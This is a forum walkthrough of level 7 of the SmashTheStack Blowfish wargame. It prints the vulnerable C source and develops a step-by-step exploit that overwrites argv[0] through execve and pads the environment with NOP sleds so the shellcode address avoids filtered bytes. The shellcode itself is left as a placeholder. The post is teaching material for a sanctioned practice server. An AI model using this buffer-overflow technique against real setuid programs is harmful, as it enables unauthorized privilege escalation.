Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (1)

Powered by Vanilla. Made with Bootstrap.
Blowfish SmashTheStack - Level 7
  • x3n0n
    Posts: 110
    So first of ssh to level7@blowfish.smashthestack.org:2222
    Type in the pass you got from exploiting the vuln at level 6 and you are in ;)

    Welcome screen:

    _ __ ___ __
    /\ \ /\_ \ /'___\ __ /\ \
    \ \ \____\//\ \ ___ __ __ __/\ \__//\_\ ____\ \ \___
    \ \ '__`\ \ \ \ / __`\/\ \/\ \/\ \ \ __\/\ \ /' __\\ \ _ `\
    \ \ \_\ \ \_\ \_/\ \_\_\ \ \_/ \_/ \ \ \_/\ \ \/\__ `\\ \ \ \ \
    \ \____/ /\____\ \____/\ \___x___/'\ \_\ \ \_\/\____/ \ \_\ \_\
    \/___/ \/____/\/___/ \/__//__/ \/_/ \/_/\/___/ \/_/\/_/
    wargame ++ smashthestack.org ++ now in version 2.0


    1. Thou shalt NOT root or otherwise harm the box.
    2. Thou shalt NOT access any other network from this box.
    3. Thou shalt NOT use any other directory besides /tmp or /code for code.
    4. Thou shalt give the root pass to l3thal if you manage to change it.

    Passwords are in /pass.
    There is a README in each users home directory.
    /tmp && /var/tmp will be flushed daily by cron.
    Use /code plz for umm, code ;D
    IF YOU LEAVE FILES IN /levels/tmp U SUCK ..plz remove them kthnx! ;D
    The password for the last level will get you into
    Tux, the more advanced wargame. Join #blowfish on
    irc.smashthestack.org with any questions.

    Admins - l3thal && cr

    Forum: http://smashthestack.org/viewforum.php?id=10


    Last login: Sat Sep 10 06:50:17 2011 from 78-22-111-167.access.telenet.be

    There is another overflow in /levels/level7
    Exploit it and get the level8 pass.


    level7@blowfish:~$


    We know the vuln is located at

    /levels/level7


    So to get a better understanding of what this little program does, we look at the source


    #include <stdio.h>
    #include <string.h>

    int main(int argc, char *argv[]) {

    int i;
    char buffer[32];
    //char *key1 = \"/\";
    char *p1, *p2, *p3, *p4, *p5;
    char key2[2], key3[2], key4[2], key5[2];

    // if(argc != 2)
    // return -1;

    for(i = 1; i < argc; i++) {
    memset(argv[i], 0, strlen(argv[i]));
    }
    sprintf(key2, \"%c\", 0x90); // nop
    sprintf(key3, \"%c\", 0xeb); // jmp
    sprintf(key4, \"%c\", 0xcd); // int
    sprintf(key5, \"%c\", 0xff); // still easy

    //p1 = strstr(argv[0], key1);
    p2 = strstr(argv[0], key2);
    p3 = strstr(argv[0], key3);
    p4 = strstr(argv[0], key4);
    p5 = strstr(argv[0], key5);

    if (p2 != NULL || p3 != NULL || p4 != NULL || p5 != NULL) {
    printf(\"Access denied.\n\");
    return -1;
    }
    else {
    printf(\"Access granted.\n\");
    }

    strcpy(buffer, argv[0]);

    return 0;
    }


    So right away we can see that all our parameters passed down to the program are blanked out, and only the argv[0] is copied to the buffer.
    If you don't know what argv[0] is, look it up!!!

    [spoiler]For all you lazy people out there: argv[0] is the path of the program you are running[/spoiler]

    The main goal is thus to overwrite argv[0].
    I suggest you stop reading here, and go find out how you can do this. If not you will learn nothing with this challenge ;)

    [spoiler]You can overwrite argv[0] with execve(char *filename, char *argvnew[], char *envpnew[]) or execvp(char *filename, char *argv[]), we are gonna use execve() here (the reason will become clear in a second).
    execve() executes the program pointed to by filename. argvnew is an array of argument strings passed to the new program. envpnew is an array of strings, conventionally of the form key=value, which are passed as environment to the new program.[/spoiler]

    So now you know how to overwrite argv[0], you can easily overflow the buffer, and thus cause a segmentation fault.

    To do this, we create a new file in /tmp/<yourdir>
    Let's call it exploit.c

    level7@blowfish&#58;/tmp/&lt;yourdir&gt;$ nano exploit&#46;c

    #include &lt;stdlib&#46;h&gt;
    #include &lt;stdio&#46;h&gt;
    #include &lt;string&#46;h&gt;
    #include &lt;unistd&#46;h&gt;

    int main(int argc, char *argv&#91;&#93;) {

    char *newargv&#91;&#93; = {0, NULL};
    char *newenv&#91;&#93; = {NULL};

    newargv&#91;0&#93; = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\";

    ***(argv&#91;1&#93;, newargv, newenv);
    perror(\"***\");
    exit(EXIT_FAILURE);

    }


    If you compile this program and run it like:

    &#46;/exploit /levels/level7


    This program will run /levels/level7 with argv[0] of /levels/level7 as newargv[0]. So newargv[0] will be copied into the buffer[32]. (If enough data is passed on in newargv[0], an overflow will occur).

    Since you got to level7 I don't have to elaborate on how to successfully overwrite the $eip, but when you try to put in your shellcode into the buffer or any character like 0x90, 0xeb, 0xcd or 0xff, you get a message: "Access denied" and as we see in the source file level7.c: argv[0] isn't copied to the buffer.

    So we need another way to store our shellcode in the stack.

    [spoiler]As you already did in one of the past levels, we are going to put our shellcode into an environment variable. This is also why we use execve() in stead of execvp(). execve() let's us pass on environment variables.[/spoiler]

    So we go back to the exploit.c file:

    #include &lt;stdlib&#46;h&gt;
    #include &lt;stdio&#46;h&gt;
    #include &lt;string&#46;h&gt;
    #include &lt;unistd&#46;h&gt;

    int main(int argc, char *argv&#91;&#93;) {

    char *newargv&#91;&#93; = {0, NULL};
    char *newenv&#91;&#93; = {0, NULL};

    newargv&#91;0&#93; =
    \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5d\x58\xfe\xbf\";
    newenv&#91;0&#93; = \"&lt;shellcode&gt;\";

    ***(argv&#91;1&#93;, newargv, newenv);
    perror(\"***\");
    exit(EXIT_FAILURE);

    }


    Now if we run this program and examine the core file in gdb, we can see our shellcode. But there is one more problem: the shellcode is located at 0xbfffxxxx.
    As we can see in level7.c we can't put 0xff in argv[0], so we need to move the shellcode to another address so we don't need to put 0xff in argv[0].

    This is where the environment variables come in. We can push the address of the shell by using huge environment variables.

    We go back to exploit.c

    #include &lt;stdlib&#46;h&gt;
    #include &lt;stdio&#46;h&gt;
    #include &lt;string&#46;h&gt;
    #include &lt;unistd&#46;h&gt;

    int main(int argc, char *argv&#91;&#93;) {

    char *newargv&#91;&#93; = {0, NULL};
    char *newenv&#91;&#93; = {0, 0, 0, 0, 0, NULL};

    newargv&#91;0&#93; =
    \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5d\x58\xfe\xbf\";

    newenv&#91;0&#93;=(char *)getenv(\"VULN0\");
    newenv&#91;1&#93;=(char *)getenv(\"VULN1\");
    newenv&#91;2&#93;=(char *)getenv(\"VULN2\");
    newenv&#91;3&#93;=(char *)getenv(\"VULN3\");
    newenv&#91;4&#93;=(char *)getenv(\"VULN4\");

    ***(argv&#91;1&#93;, newargv, newenv);
    perror(\"***\");
    exit(EXIT_FAILURE);

    }


    now we do:

    level7@blowfish&#58;~$ export VULN&lt;i&gt; = `perl -e 'print \"\x90\"x10000'`


    You do this for every i = 0 to 4, and you increase the number of environment variables untill you can put your shellcode in an address like 0xbffexxxx (just not 0xbfffxxxx).

    Once you did this, the rest is childsplay.

    I hope this was helpfull, and I hope you learn a lot from this paper.


    Greetz, x3n0n
  • Sh3llc0d3
    Posts: 1,910
    Nice walk through x3n0n :)